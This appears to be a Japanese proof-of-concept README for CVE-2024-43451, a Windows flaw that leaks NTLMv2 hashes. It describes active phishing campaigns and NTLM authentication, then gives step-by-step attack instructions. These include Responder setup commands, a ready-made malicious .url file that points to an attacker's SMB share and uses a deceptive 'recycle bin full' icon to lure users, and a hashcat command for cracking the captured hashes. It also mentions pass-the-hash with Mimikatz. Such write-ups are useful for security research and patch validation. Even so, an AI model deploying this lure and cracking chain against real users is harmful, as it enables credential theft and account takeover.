説明

名前 : CVE-2024-43451
CVSSv3スコア : 6.5
影響を受けるバージョン : 2024年11月パッチ以前のすべてのMicrosoft Windowsバージョン

CVE-2024-43451 は、Microsoft Windows におけるゼロデイ脆弱性であり、攻撃者がユーザーの最小限の操作で NTLMv2 パスワードハッシュを取得し、資格情報の窃取につながる可能性があります。一般的な悪用手法として、リモートサーバーへの SMB 接続を介した NTLM 認証を利用してハッシュを取得する方法があります。この脆弱性は 2024 年 11 月の更新で修正されました。ユーザーは関連するセキュリティ更新プログラムを適用し、リスクを軽減することを推奨します。

この攻撃は、侵害されたウクライナ政府サーバーから送信されたフィッシングメールを使用して、実際に活発に悪用されていることが発見されました。メールには悪意のある URL ファイルが含まれています。ユーザーがファイルを右クリック、削除、移動などの操作を行うと、脆弱性が発動します。これにより攻撃者のサーバーへの接続がトリガーされ、SparkRAT マルウェア（攻撃者が被害者のシステムを制御できるオープンソースのリモートアクセス型トロイの木馬）などのさらなる悪意のあるファイルがダウンロードされます。

NTLM 認証

NTLMv2 は現在最も安全なバージョンであり、現在最も関連性があります。

クライアントはサーバーに接続し、リソースへのアクセスを要求します。
サーバーは nonce（ランダムな 16 バイトのチャレンジ）を生成し、クライアントに送信します。
クライアントは HMAC-MD5 アルゴリズムを使用して生成された応答を送信します。これには パスワードハッシュ（NT ハッシュアルゴリズムを使用）、サーバーの nonce、タイムスタンプ、クライアント nonce などが含まれます。
サーバーは NT ハッシュを使用して同じ計算を自身で繰り返し、独自の NTLM 応答を生成します。両者がそれぞれの応答を持ったら、それらを比較できます。
比較後、サーバーは接続を受け入れるか拒否するかを決定します。

image

悪用

POC のセットアップ

この POC のための動作環境を作成するには、2024 年 11 月以前のビルド番号を持つターゲットの Windows マシンと、ハッシュ取得をシミュレートするためのリモートサーバーをセットアップする必要があります。

Responder をダウンロードしてインストールし、SMB 経由でハッシュを取得します。
```
brew install python3
```
```
git clone https://github.com/lgandx/Responder.git
```
```
cd Responder
```
```
sudo python3 Responder.py -I <put your network interface> -v
```
ターゲットの Windows VM とリモートの「ハッカー」環境の間で接続が成功していることを確認します。
エクスプローラーに移動し、\\(remote server IP) と入力して Responder のセットアップをテストします。

エクスプロイトの作成

エクスプロイトに必要なのはリモートサーバーとの SMB 接続を確立することだけなので、それをシミュレートするためにシンプルなファイルを使用できます。

メモ帳を開きます
次のように入力します。
ユーザーを操作に誘導できる任意のアイコンを指定できます。ここでは「ゴミ箱がいっぱい」アイコン (32) を使用しました。
```
[InternetShortcut]
URL=\\(remote server IP)\share
IconIndex=32                    
IconFile=C:\Windows\System32\shell32.dll
```
(名前).url として保存します

アクティブなプロセス

ファイルが準備され、ターゲットシステムに配信されると、ハッシュの取得には最小限のユーザー操作が必要です。この操作には、次のいずれかのアクションが含まれる可能性があります。

ファイルをダウンロードし、「ダウンロード」フォルダにアクセスする
ファイルを右クリックする
ファイルを別のフォルダに移動する

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

クラッキング

暗号化されていないハッシュを入手したら、それを解析して平文のパスワードを明らかにするか、Mimikatz や Metasploit などのツールを使用した「Pass-the-Hash」攻撃に利用することができます。

この場合、簡単な Hashcat コマンドでパスワードが明らかになります。 hashcat -m 5600 leak.txt rockyou.txt

CVE-2024-43451-POC

人気